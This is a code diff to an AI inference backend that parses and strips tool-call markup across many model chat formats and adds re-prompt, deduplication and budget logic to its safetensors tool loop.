-            # No tool detected mid-stream -- check for late tool XML.
-            safety_tc = None
-            saw_tool_signal = tool_protocol_active and any(
-                sig in content_accum for sig in tool_xml_signals
+            # Run the parser even with no XML signal (the Llama-3.2 bare-JSON form carries none); it's
+            # strict so plain answers stay untouched. Mirrors GGUF.
+            safety_tc = parse_tool_calls_from_text(
+                content_accum,
+                id_offset = next_call_id,
+                allow_incomplete = auto_heal_tool_calls,
+                enabled_tool_names = _enabled_tool_names,
             )
-            if saw_tool_signal:
-                safety_tc = parse_tool_calls_from_text(
-                    content_accum,
-                    id_offset = next_call_id,
-                    allow_incomplete = auto_heal_tool_calls,
-                )
             if not safety_tc:
-                # Final answer: if a literal tool marker in prose was stripped
-                # during streaming but did not parse as a real call, restore the
-                # raw cumulative text for core callers. Route-level cleanup can
-                # still apply the Auto-Heal display policy.
-                if saw_tool_signal and content_accum:
+                # Re-prompt once on plan-without-action, before any tool runs
+                # (GGUF loop parity). The retry is gated on nudge_tool_calls so
+                # Studio callers (which send True) always nudge, while API callers
+                # who omit the flag keep today's no-reprompt behavior (opt-in).
+                stripped_answer = content_accum.strip()
+                if (
+                    auto_heal_tool_calls
+                    and nudge_tool_calls
+                    and active_tools
+                    and reprompt_count < MAX_ACT_REPROMPTS
+                    and not rag_autoinjected
+                    and not tool_denied
+                    and not any(record.executed for record in tool_controller.history)
+                    and is_short_intent_without_action(stripped_answer)
+                ):
+                    reprompt_count += 1
+                    logger.info(
+                        "Safetensors re-prompt %d/%d: model responded without "
+                        "calling tools (%d chars)",
+                        reprompt_count,
+                        MAX_ACT_REPROMPTS,
+                        len(stripped_answer),
+                    )
+                    conversation.append({"role": "assistant", "content": stripped_answer})
+                    tool_hint = " or ".join(_active_tool_names(active_tools)) or "an available tool"
+                    conversation.append(
+                        {
+                            "role": "user",
+                            "content": reprompt_to_act_message(tool_hint),
+                        }
+                    )
+                    # Empty status clears the badge and resets the route's
+                    # per-turn text cursor before the re-prompted turn streams.
+                    yield {"type": "status", "text": ""}
+                    continue
+
+                # Final answer. If a literal tool marker in prose was buffered but
+                # never parsed as a call, restore the raw text so the prose surfaces
+                # in full; route-level cleanup still applies the Auto-Heal policy.
+                if content_accum and any(sig in content_accum for sig in tool_xml_signals):
                     yield {"type": "content", "text": content_accum}
+                else:
+                    # Turn ended as a plain answer (no [ARGS] followed): the held rehearsal tail is real
+                    # prose, release it.
+                    final_clean = strip_tool_markup_streaming(
+                        cumulative_display,
+                        auto_heal_tool_calls = auto_heal_tool_calls,
+                        tool_protocol_active = tool_protocol_active,
+                        enabled_tool_names = _enabled_names_gate,
+                    )
+                    if len(final_clean) > len(last_emitted):
+                        yield {"type": "content", "text": final_clean}
                 yield {"type": "status", "text": ""}
                 return
             tool_calls = safety_tc
@@ -465,31 +923,41 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
+                enabled_tool_names = _enabled_names_gate,
             )
             logger.info(
                 "Safetensors safety net: parsed %d tool call(s) from streamed content",
                 len(tool_calls),
             )
         else:
-            # DRAINING: parse tool calls out of full content.
+            # DRAINING: parse tool calls out of full content. Gate the bare rehearsal on the
+            # ORIGINAL tool list (``_enabled_names_gate``), the same names detection/strip used to
+            # drain here: a spent one-shot (render_html) is off the active list but its re-emitted
+            # ``render_html[ARGS]{..}`` must still parse so it routes to the repeat no-op instead of
+            # being dropped into a blank continuation.
             tool_calls = parse_tool_calls_from_text(
                 content_accum,
                 id_offset = next_call_id,
                 allow_incomplete = auto_heal_tool_calls,
+                enabled_tool_names = _enabled_names_gate,
             )
             if not tool_calls:
                 # Parser found nothing. Auto-Heal-enabled display cleanup
                 # strips unparseable tool XML; disabled Auto-Heal preserves
                 # the raw text so literal/malformed markup stays visible.
                 if content_accum:
-                    yield {
-                        "type": "content",
-                        "text": _strip_tool_markup_final(
-                            content_accum,
-                            auto_heal_tool_calls = auto_heal_tool_calls,
-                            tool_protocol_active = False,
-                        ),
-                    }
+                    _drain_text = _strip_tool_markup_final(
+                        content_accum,
+                        auto_heal_tool_calls = auto_heal_tool_calls,
+                        tool_protocol_active = False,
+                        enabled_tool_names = _enabled_tool_names,
+                    )
+                    # Drained bare-JSON call that didn't parse: with Auto-Heal on, drop the fragment
+                    # (plain JSON answers are left untouched); off keeps it visible per the strict contract.
+                    if tool_protocol_active and auto_heal_tool_calls:
+                        _drain_text = strip_leading_bare_json_call(_drain_text, _enabled_tool_names)
+                    if _drain_text:
+                        yield {"type": "content", "text": _drain_text}
                 if provisional_render_html_started and not provisional_resolved:
                     provisional_resolved = True
                     yield {
@@ -505,10 +973,14 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
+                enabled_tool_names = _enabled_names_gate,
             )
 
         if tool_calls:
             next_call_id += len(tool_calls)
+            # Strip a leading bare-JSON call from the kept content so it isn't replayed as text or
+            # next-turn history (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers.
+            content_text = strip_leading_bare_json_call(content_text, _enabled_tool_names)
 
         if final_attempt_done:
             # Final-answer turn re-called a tool -- stop the loop.
@@ -517,6 +989,27 @@ def run_safetensors_tool_loop(
             yield {"type": "status", "text": ""}
             return
 
+        # Collapse exact-duplicate calls and cap the count (runaway-turn guard).
+        if tool_calls:
+            seen_keys: set = set()
+            deduped: list = []
+            for _tc in tool_calls:
+                _fn = _tc.get("function", {}) or {}
+                _key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
+                if _key in seen_keys:
+                    continue
+                seen_keys.add(_key)
+                deduped.append(_tc)
+                if len(deduped) >= _MAX_TOOL_CALLS_PER_TURN:
+                    break
+            if len(deduped) != len(tool_calls):
+                logger.info(
+                    "Safetensors: collapsed %d repeated tool call(s) in one turn to %d",
+                    len(tool_calls),
+                    len(deduped),
+                )
+            tool_calls = deduped
+
         assistant_msg: dict = {"role": "assistant", "content": content_text}
         assistant_appended = False
 
@@ -593,6 +1086,7 @@ def run_safetensors_tool_loop(
                         "result": TOOL_REJECTED_MESSAGE,
                         "provenance": decision.provenance,
                     }
+                    tool_denied = True
                     denied_message = {
                         "role": "tool",
                         "name": decision.tool_name,
@@ -634,6 +1128,8 @@ def run_safetensors_tool_loop(
             completion = tool_controller.record_result(decision, result)
             if provisional_match:
                 provisional_resolved = True
+            # A tool ran this turn, so it counts against the caller's budget.
+            _turn_executed_real_tool = True
             yield completion.tool_end_event()
             conversation.append(completion.tool_message())
 
@@ -646,7 +1142,11 @@ def run_safetensors_tool_loop(
         if not unrestricted_tools and not tool_controller.active_tools():
             final_attempt_done = True
             continue
-        if iteration + 1 >= max_tool_iterations and not final_attempt_done:
+        # Count only turns that executed a tool against the cap; a no-op correction turn doesn't
+        # consume budget so the model gets its nudge and another tool-enabled turn (GGUF parity).
+        if _turn_executed_real_tool:
+            _executed_tool_iters += 1
+        if _executed_tool_iters >= max_tool_iterations and not final_attempt_done:
             # Budget exhausted; nudge a final plain answer.
             final_attempt_done = True
             conversation.append({"role": "user", "content": BUDGET_EXHAUSTED_NUDGE})
diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index 8d5d45269e..1ab1142eba 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -2,33 +2,123 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 """
-Backend-neutral tool-call XML parser shared by GGUF and safetensors.
-Tolerates missing closing tags in either ``<tool_call>{json}</tool_call>``
-or ``<function=name><parameter=k>v...`` shape.
+Backend-neutral tool-call parser shared by GGUF, safetensors, and MLX, so the
+safetensors + MLX agentic loop sees the same call shape llama-server gives GGUF:
+
+  - ``<tool_call>{json}</tool_call>``           (Qwen / Hermes)
+  - ``<function=name><parameter=k>v</parameter></function>``  (Qwen3.5 xml)
+  - ``<|python_tag|>NAME.call(k="v", ...)``     (Llama-3 built-in tools)
+  - ``<|python_tag|>{"name":..., "parameters":...}``  (Llama-3 custom)
+  - ``{"name":..., "parameters":...}``          (Llama-3.2 bare JSON)
+  - ``[TOOL_CALLS] [{...}, ...]``               (Mistral v0.3 / Nemo / Small)
+  - ``[TOOL_CALLS]name{json}``                  (Mistral v11+ / Magistral)
+  - ``[TOOL_CALLS]name[ARGS]{json}``            (Ministral / Mistral Large 3)
+  - ``<|tool_call>call:NAME{k:<|"|>v<|"|>}<tool_call|>``  (Gemma 4)
+  - ``<｜tool▁calls▁begin｜>...function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`...``  (DeepSeek R1)
+  - ``<｜tool▁calls▁begin｜>...<｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...``  (DeepSeek V3 / V3.1)
+  - ``<tool_call>NAME\\n<arg_key>k</arg_key>\\n<arg_value>v</arg_value>...</tool_call>``  (GLM 4.5 / 4.6 / 4.7)
+  - ``<|tool_calls_section_begin|>...<|tool_call_begin|>functions.NAME:IDX<|tool_call_argument_begin|>{json}<|tool_call_end|>...``  (Kimi K2)
+
+Missing closing tags / brackets are tolerated: models often truncate mid-stream.
 """
 
+# Lazy annotations keep the standalone python 3.9 import working.
+from __future__ import annotations
+
 import json
 import re
+from typing import Any, Optional
+
+# Qwen/Hermes, Qwen3.5 XML and Gemma 4 live in core.tool_healing; this module adds the rest.
+from core import tool_healing as _tool_healing
 
 
-# _TOOL_CLOSED_PATS: closed pairs only. _TOOL_ALL_PATS: also trailing unclosed
-# runs so truncated tails don't leak markup. The [\w-] name set matches OpenAI's
-# so hyphenated MCP tool names (mcp__srv__list-issues) parse like built-ins.
+# Flip the streaming buffer STREAMING->DRAINING so partial markup never leaks.
+TOOL_XML_SIGNALS = (
+    "<tool_call>",
+    "<function=",
+    '<function name="',
+    "<|python_tag|>",
+    "[TOOL_CALLS]",
+    "<|tool_call>",
+    # Bare reasoning-rehearsal marker (``name[ARGS]{...}``, no leading [TOOL_CALLS]);
+    # keeps a rehearsed call held in the stream so it is promoted, not leaked as prose.
+    "[ARGS]",
+    # DeepSeek R1 / V3 / V3.1 -- 5 opener variants llama.cpp keeps.
+    "<｜tool▁calls▁begin｜>",
+    "<｜tool▁call▁begin｜>",
+    "<｜tool_calls_begin｜>",
+    "<｜tool▁calls｜>",
+    "<｜tool calls begin｜>",
+    "<｜tool\\_calls\\_begin｜>",
+    # Kimi K2 / Moonshot.
+    "<|tool_calls_section_begin|>",
+    "<|tool_call_begin|>",
+)
+
+
+# DeepSeek opener variants; shared by parse and strip so a parsed signal is always stripped.
+_DEEPSEEK_OPEN_ALT = (
+    r"tool▁calls▁begin|tool_calls_begin|tool calls begin|tool\\_calls\\_begin|tool▁calls"
+)
+_DEEPSEEK_OPEN_RE_SRC = r"<｜(?:" + _DEEPSEEK_OPEN_ALT + r")｜>"
+
+# Closed pairs only (mid-stream); _TOOL_ALL_PATS also eats unclosed tails at
+# end-of-turn. ``[\w-]+`` on ``<function=...>`` tracks OpenAI's
+# ``^[a-zA-Z0-9_-]{1,64}$`` so hyphenated MCP names parse like built-ins.
 _TOOL_CLOSED_PATS = [
     re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
-    re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL),
+    # Span to the real ``</function>`` so a literal one inside a value can't truncate the strip.
+    re.compile(
+        r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>'
+        r'(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*'
+        r"</function>",
+        re.DOTALL,
+    ),
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+    re.compile(r"\[TOOL_CALLS\]\s*\[.*?\](?:\s*</s>)?", re.DOTALL),
+    # Mistral v11+ ``[TOOL_CALLS]name{json}`` (may chain), close at ``}``.
+    re.compile(r"\[TOOL_CALLS\]\s*[\w\.\-]+\s*(?:\[ARGS\])?\s*\{.*?\}", re.DOTALL),
+    # DeepSeek R1 / V3 / V3.1: full envelope (any opener variant) ... end.
+    re.compile(_DEEPSEEK_OPEN_RE_SRC + r".*?<｜tool▁calls▁end｜>", re.DOTALL),
+    # Kimi K2: ``<|tool_calls_section_begin|>...<|tool_calls_section_end|>``.
+    re.compile(r"<\|tool_calls_section_begin\|>.*?<\|tool_calls_section_end\|>", re.DOTALL),
+    # Kimi K2 section-less closed call; else the catch-all below eats trailing prose to EOS.
+    re.compile(r"<\|tool_call_begin\|>.*?<\|tool_call_end\|>", re.DOTALL),
 ]
 _TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
     re.compile(r"<tool_call>.*$", re.DOTALL),
-    re.compile(r"<function=[\w-]+>.*$", re.DOTALL),
+    re.compile(r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>.*$', re.DOTALL),
+    # Bare-word markers drop a trailing truncated call only when a call-shaped start
+    # follows; a prose mention (``See [TOOL_CALLS] docs...``) keeps its tail. Bare marker at EOF drops.
+    re.compile(r"<\|tool_call>(?=\s*call\s*:|\s*$).*$", re.DOTALL),
+    re.compile(
+        r"\[TOOL_CALLS\](?=\s*(?:[\[{]|[A-Za-z_][\w.\-]*(?:[\[{]|\s*$))|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(
+        r"<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\()|\s*$).*$",
+        re.DOTALL,
+    ),
+    # DeepSeek envelopes truncated mid-stream (any opener); same call-shaped lookahead as above.
+    re.compile(
+        _DEEPSEEK_OPEN_RE_SRC + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(r"<｜tool▁call▁begin｜>(?=\s*function|\s*$).*$", re.DOTALL),
+    # Kimi K2 envelope truncated.
+    re.compile(
+        r"<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(
+        r"<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*$",
+        re.DOTALL,
+    ),
+    # Gemma wrapper-less ``call:NAME{...}`` is handled by ``_strip_gemma_wrapperless_calls`` (enabled-name gate).
 ]
 
 
-# Prefixes the streaming buffer watches for to gate in-progress text.
-TOOL_XML_SIGNALS = ("<tool_call>", "<function=")
-
-
-# Nudges + error prefixes shared by the GGUF and safetensors loops.
 TOOL_ERROR_PREFIXES = (
     "Error",
     "Search failed",
@@ -64,8 +154,7 @@ BUDGET_EXHAUSTED_NUDGE = (
     "any more tools."
 )
 
-# The exact-args dup guard misses paraphrased re-searches, so also cap executed
-# KB searches per turn, then nudge.
+# The exact-args dup guard misses paraphrased re-searches, so also cap KB searches per turn.
 RAG_MAX_SEARCHES_PER_TURN = 3
 RAG_SEARCH_CAP_NUDGE = (
     "You have already searched the knowledge base several times this turn. "
@@ -74,41 +163,784 @@ RAG_SEARCH_CAP_NUDGE = (
 )
 
 
-# Pre-compiled patterns reused by ``parse_tool_calls_from_text``.
+# ── Plan-without-action re-prompt (shared by the GGUF and safetensors loops) ──
+# Forward-looking intent: the model says what it *will* do, not a final answer.
+INTENT_SIGNAL = re.compile(
+    r"(?i)("
+    # Direct intent ("I'll", "Let me"); lookahead drops negated forms
+    # ("I will not") so a refusal does not re-prompt.
+    r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
+    r"|"
+    # Step/plan framing: "First ...", "Step 1:", "Here's my plan"
+    r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))"
+    r"|"
+    r"\b(?:now i|next i)\b"
+    r")"
+)
+# Matches GGUF's established default (llama_cpp.py has re-prompted up to 3
+# times since #5620); safetensors and MLX inherit the same cap from here.
+MAX_ACT_REPROMPTS = 3
+REPROMPT_MAX_CHARS = 2000
+
+
+def is_short_intent_without_action(text: str) -> bool:
+    stripped = text.strip()
+    return 0 < len(stripped) < REPROMPT_MAX_CHARS and INTENT_SIGNAL.search(stripped) is not None
+
+
+def reprompt_to_act_message(tool_hint: str) -> str:
+    """The user message appended when re-prompting a plan-without-action turn."""
+    return (
+        "You have access to enabled tools. If a tool is needed to satisfy "
+        "the user's request or complete the action you described, call "
+        f"{tool_hint} now. If no tool is needed, provide the final answer "
+        "and follow the user's requested format."
+    )
+
+
+# Qwen / Hermes ``<tool_call>{json}``.
 _TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
-_TC_FUNC_START_RE = re.compile(r"<function=([\w-]+)>\s*")
-_TC_END_TAG_RE = re.compile(r"</tool_call>")
+# Qwen3.5 ``<function=name>`` and the attribute form ``<function name="name">``
+# (MiniCPM-5, MiniMax-M2); name class ``[\w.\-]+`` lands in group(1) or group(2).
+_TC_FUNC_START_RE = re.compile(r'<function(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>\s*')
+# Body ends at ``</tool_call>`` (Hermes) or ``</function>`` (Qwen3.5 / MiniCPM-5)
+# so it stops at the close even when prose follows (else prose leaked into args).
+_TC_END_TAG_RE = re.compile(r"</(?:tool_call|function)>")
 _TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
-# [\w-] so hyphenated MCP param names (issue-number) aren't dropped.
-_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>\s*")
-_TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
-_PARAM_CLOSE_TAG = "</parameter>"
-_FUNC_CLOSE_TAG = "</function>"
+# Horizontal whitespace only (``[^\S\n]*``, not ``\s*``) so the wrapping newline +
+# first-line indentation survive; ``_trim_param_value`` trims one newline, preserving
+# code indentation (SGLang qwen3_coder).
+_TC_PARAM_START_RE = re.compile(
+    r'<(?:parameter|param)(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>[^\S\n]*'
+)
+_TC_PARAM_CLOSE_RE = re.compile(r"\s*</(?:parameter|param)>\s*$")
+
+# Llama-3 ``<|python_tag|>NAME.call(...)``.
+_LLAMA3_PYTHON_TAG = "<|python_tag|>"
+_LLAMA3_PY_CALL_RE = re.compile(
+    r"<\|python_tag\|>\s*([\w\.\-]+)\s*\.\s*call\s*\(",
+)
+# Anchored at a fixed offset (char after ``<|python_tag|>``) plus the ``; NAME.call(``
+# chain separator; fixed-offset (not a free scan) ignores ``.call(`` inside JSON args.
+_LLAMA3_PY_CALL_HEAD_RE = re.compile(r"\s*([\w\.\-]+)\s*\.\s*call\s*\(")
+_LLAMA3_CALL_CHAIN_RE = re.compile(r"\s*;\s*([\w\.\-]+)\s*\.\s*call\s*\(")
+# Llama-3 ``.call(k=v)`` kwarg tokens, hand-scanned below (not finditer) to stay
+# linear on a truncated body; finditer retries every offset of a long run (ReDoS).
+_LLAMA3_KEY_RE = re.compile(r"\w+")
+_LLAMA3_WS_RE = re.compile(r"\s*")
+# ints, decimals (1.5, 1., .5) and sci notation; trailing ``(?![\w.])`` stops a token
+# like ``1.2.3`` being truncated to ``1.2`` (which would mis-parse the remainder).
+_LLAMA3_NUM_RE = re.compile(r"-?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?(?![\w.])")
+_LLAMA3_LIT_RE = re.compile(r"true|false|null")
+
+# Mistral ``[TOOL_CALLS]`` trigger. v11+ chains them, each followed by a bare name
+# plus ``{json}`` (Magistral) or ``[ARGS]{json}`` (Ministral / Large 3).
+_MISTRAL_TRIGGER = "[TOOL_CALLS]"
+_MISTRAL_ARGS_MARKER = "[ARGS]"
+# Mistral Small 3.2 emits ``name[CALL_ID]<id>[ARGS]{json}`` (absent on Ministral /
+# Magistral); llama.cpp distinguishes the two on ``[CALL_ID]`` (common/chat.cpp).
+_MISTRAL_CALL_ID_MARKER = "[CALL_ID]"
+# Magistral wraps reasoning in ``[THINK]...[/THINK]``; a ``[TOOL_CALLS]`` inside
+# that block is chain-of-thought, not a real call.
+_MISTRAL_THINK_OPEN = "[THINK]"
+_MISTRAL_THINK_CLOSE = "[/THINK]"
+_MISTRAL_V11_NAME_RE = re.compile(r"\s*([\w\.\-]+)\s*")
+
+# DeepSeek markers (full-width pipe U+FF5C, block U+2581); five outer-open variants like llama.cpp.
+_DEEPSEEK_BEGIN_RE = re.compile(_DEEPSEEK_OPEN_RE_SRC)
+_DEEPSEEK_END = "<｜tool▁calls▁end｜>"
+_DEEPSEEK_CALL_BEGIN = "<｜tool▁call▁begin｜>"
+_DEEPSEEK_SEP = "<｜tool▁sep｜>"
+_DEEPSEEK_CALL_END = "<｜tool▁call▁end｜>"
+# R1 wraps args in a ```json fence with a ``function`` prefix; V3/V3.1 do not.
+# Scanned with ``str.find`` -- the regex forms are O(N^2) on truncated bodies.
+_DEEPSEEK_R1_FUNC_MARKER = "function" + _DEEPSEEK_SEP
+_DEEPSEEK_R1_FENCE = "\n```json\n"
+_DEEPSEEK_R1_CLOSE_RE = re.compile(r"```[\s\r\n]*" + re.escape(_DEEPSEEK_CALL_END))
+
+# GLM 4.5-4.7: ``<tool_call>NAME[\n]<arg_key>K</arg_key>...``; the lookahead also allows a
+# direct ``<arg_key>``/``</tool_call>`` (4.7 drops the newline, zero-arg calls close at once).
+# Name class ``[\w.\-]+`` keeps prose like ``<tool_call>not a call</tool_call>`` unparsed;
+# ``{`` stays with the Qwen JSON parser.
+_GLM_TC_OPEN_RE = re.compile(r"<tool_call>\s*([\w.\-]+)\s*(?=\n|<arg_key>|</tool_call>)")
+_GLM_TC_CLOSE = "</tool_call>"
+_GLM_ARG_KEY_OPEN = "<arg_key>"
+_GLM_ARG_KEY_CLOSE = "</arg_key>"
+_GLM_ARG_VAL_OPEN = "<arg_value>"
+_GLM_ARG_VAL_CLOSE = "</arg_value>"
+# Strings arrive raw, non-strings via tojson; only unambiguous JSON literals decode
+# (bare ``42``/``true``/``null`` stay strings).
+_GLM_JSON_NUMERIC_RE = re.compile(r"-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?")
+
+# Kimi K2 / Moonshot (ASCII pipes). Id ``functions.NAME:IDX`` -- strip ``functions.``/``:N`` for the name.
+_KIMI_SECTION_BEGIN = "<|tool_calls_section_begin|>"
+_KIMI_SECTION_END = "<|tool_calls_section_end|>"
+_KIMI_CALL_BEGIN = "<|tool_call_begin|>"
+_KIMI_ARG_BEGIN = "<|tool_call_argument_begin|>"
+_KIMI_CALL_END = "<|tool_call_end|>"
+_KIMI_ID_RE = re.compile(r"^(?:functions\.)?([\w\.\-]+)(?::(\d+))?$")
+
+# Gemma 4: ``<|tool_call>call:NAME{...}<tool_call|>``, ``<|"|>`` wraps strings.
+_GEMMA_TC_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w\.\-]+)\s*\{")
+_GEMMA_STR_BEGIN = '<|"|>'
+_GEMMA_STR_END = '<|"|>'
+_GEMMA_TC_END = "<tool_call|>"
+
+# skip_special_tokens strips the wrapper and ``<|"|>`` markers, so streamed Gemma calls
+# arrive as bare ``call:NAME{k:v, ...}``; ``(?<!\w)`` avoids ``recall:``.
+_GEMMA_BARE_TC_RE = re.compile(r"(?<!\w)call\s*:\s*([\w\.\-]+)\s*\{")
+# Partial leading prefix (``call``, ``call :``, ``call : name``) so the streaming buffer
+# holds it instead of leaking visible text.
+_GEMMA_BARE_TC_PREFIX_RE = re.compile(r"(?<!\w)call\s*(?::\s*[\w\.\-]*)?$")
+# Keys start with a letter/underscore so ``10:00, 11:00`` in a value isn't misread as a new key.
+_GEMMA_KEY_RE = re.compile(r"\s*([A-Za-z_][\w.\-]*)\s*:")
 
 
-def _inside_open_parameter(content: str, pos: int) -> bool:
-    """Return True when ``pos`` falls inside an unclosed parameter value."""
-    last_param_start = -1
-    for match in _TC_PARAM_START_RE.finditer(content, 0, pos):
-        last_param_start = match.start()
-    if last_param_start < 0:
-        return False
-    last_param_close = content.rfind(_PARAM_CLOSE_TAG, 0, pos)
-    last_func_close = content.rfind(_FUNC_CLOSE_TAG, 0, pos)
-    return last_param_start > max(last_param_close, last_func_close)
+def _balanced_bracket_end(text: str, start: int) -> int | None:
+    """Index of the ``]`` matching ``[`` at ``text[start]`` (ignores brackets in JSON strings)."""
+    if start >= len(text) or text[start] != "[":
+        return None
+    depth = 0
+    in_string = False
+    esc = False
+    i = start
+    while i < len(text):
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    return i
+        i += 1
+    return None
 
 
-def strip_tool_markup(text: str, *, final: bool = False) -> str:
-    """Strip tool-call XML from streamed text.
+def _skip_mistral_call_id(text: str, pos: int) -> int:
+    """Skip an optional ``[CALL_ID]<id>`` (Mistral Small 3.2); return the next token pos."""
+    n = len(text)
+    i = pos
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    if not text.startswith(_MISTRAL_CALL_ID_MARKER, i):
+        return pos
+    i += len(_MISTRAL_CALL_ID_MARKER)
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    # The id is a short opaque token; stop at whitespace or the next marker.
+    while i < n and text[i] not in " \t\n\r[{":
+        i += 1
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    return i
 
-    ``final=False`` only removes closed pairs (used during streaming so
-    in-progress XML stays buffered). ``final=True`` also removes a
-    trailing unclosed run and trims the result.
+
+def _strip_mistral_reasoning(content: str) -> str:
+    """Drop a leading Magistral ``[THINK]...[/THINK]`` so a ``[TOOL_CALLS]`` inside
+    reasoning is not taken as a real call; an unclosed ``[THINK]`` drops from it on."""
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if not content.startswith(_MISTRAL_THINK_OPEN, i):
+        return content
+    close = content.find(_MISTRAL_THINK_CLOSE, i + len(_MISTRAL_THINK_OPEN))
+    if close == -1:
+        return content[:i]
+    return content[:i] + content[close + len(_MISTRAL_THINK_CLOSE) :]
+
+
+def _strip_mistral_closed_calls(text: str) -> str:
+    """Strip cleanly-closed ``[TOOL_CALLS]`` blocks (array, ``name{json}``,
+    ``name[ARGS]{json}``) via balanced scanning -- a non-greedy ``\\{.*?\\}`` would
+    truncate at the first ``}`` and lose nested JSON. Unclosed runs are left for
+    ``final=True`` cleanup."""
+    n = len(text)
+    out = []
+    cursor = 0
+    while cursor < n:
+        idx = text.find(_MISTRAL_TRIGGER, cursor)
+        if idx == -1:
+            out.append(text[cursor:])
+            break
+        out.append(text[cursor:idx])
+        body_start = idx + len(_MISTRAL_TRIGGER)
+        i = body_start
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        # Array shape: ``[TOOL_CALLS] [...]``.
+        if i < n and text[i] == "[":
+            end = _balanced_bracket_end(text, i)
+            if end is None:
+                # Truncated; let caller buffer / final-strip.
+                out.append(text[idx:])
+                break
+            cursor = end + 1
+            if text.startswith("</s>", cursor):
+                cursor += len("</s>")
+            continue
+        # Single-object shape ``[TOOL_CALLS] { json }`` (no name/array): the parser
+        # accepts it, so the display strip must remove it too (else it leaks).
+        if i < n and text[i] == "{":
+            end = _balanced_brace_end(text, i)
+            if end is None:
+                out.append(text[idx:])
+                break
+            cursor = end + 1
+            if text.startswith("</s>", cursor):
+                cursor += len("</s>")
+            continue
+        # Named shape: ``[TOOL_CALLS] name [ARGS]? { json }``.
+        name_match = _MISTRAL_V11_NAME_RE.match(text, i)
+        if not name_match:
+            out.append(text[idx:body_start])
+            cursor = body_start
+            continue
+        i = name_match.end()
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        i = _skip_mistral_call_id(text, i)
+        if text.startswith(_MISTRAL_ARGS_MARKER, i):
+            i += len(_MISTRAL_ARGS_MARKER)
+            while i < n and text[i] in " \t\n\r":
+                i += 1
+        if i >= n or text[i] != "{":
+            out.append(text[idx:i])
+            cursor = i
+            continue
+        end = _balanced_brace_end(text, i)
+        if end is None:
+            out.append(text[idx:])
+            break
+        cursor = end + 1
+        # Consume the optional EOS marker too, mirroring the array shape, so a
+        # ``[TOOL_CALLS]name{json}</s>`` tail doesn't leave ``</s>`` as content.
+        if text.startswith("</s>", cursor):
+            cursor += len("</s>")
+    return "".join(out)
+
+
+def _strip_gemma_wrapperless_calls(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Strip closed wrapper-less Gemma ``call:NAME{...}`` calls with balanced brace
+    scanning (nested arguments are removed whole). ``enabled_tool_names`` gates the
+    strip like the parser gate: a disabled/example name stays visible; ``None``
+    strips every closed call."""
+    if _whole_content_is_json_value(text):
+        return text
+    n = len(text)
+    out = []
+    # Mirror the parse scan: a leading JSON answer's span is data, kept visible.
+    cursor = _leading_json_value_end(text) or 0
+    if cursor:
+        out.append(text[:cursor])
+    while cursor < n:
+        m = _GEMMA_BARE_TC_RE.search(text, cursor)
+        if not m:
+            out.append(text[cursor:])
+            break
+        disabled = enabled_tool_names is not None and m.group(1) not in enabled_tool_names
+        brace = m.end() - 1  # _GEMMA_BARE_TC_RE consumes through the opening ``{``
+        # Same boundary scanner as the parser: strip exactly what it consumed.
+        end = _gemma_body_brace_end(text, brace)
+        closed = end is not None
+        next_index = (end + 1) if closed else len(text)
+        if not closed:
+            # Unclosed call: drop an enabled call to EOS; keep a disabled/example name as prose.
+            out.append(text[cursor:] if disabled else text[cursor : m.start()])
+            break
+        if disabled:
+            # Disabled/example name is prose: keep it whole.
+            out.append(text[cursor:next_index])
+        else:
+            out.append(text[cursor : m.start()])
+        cursor = next_index  # already past the matching ``}``
+    return "".join(out)
+
+
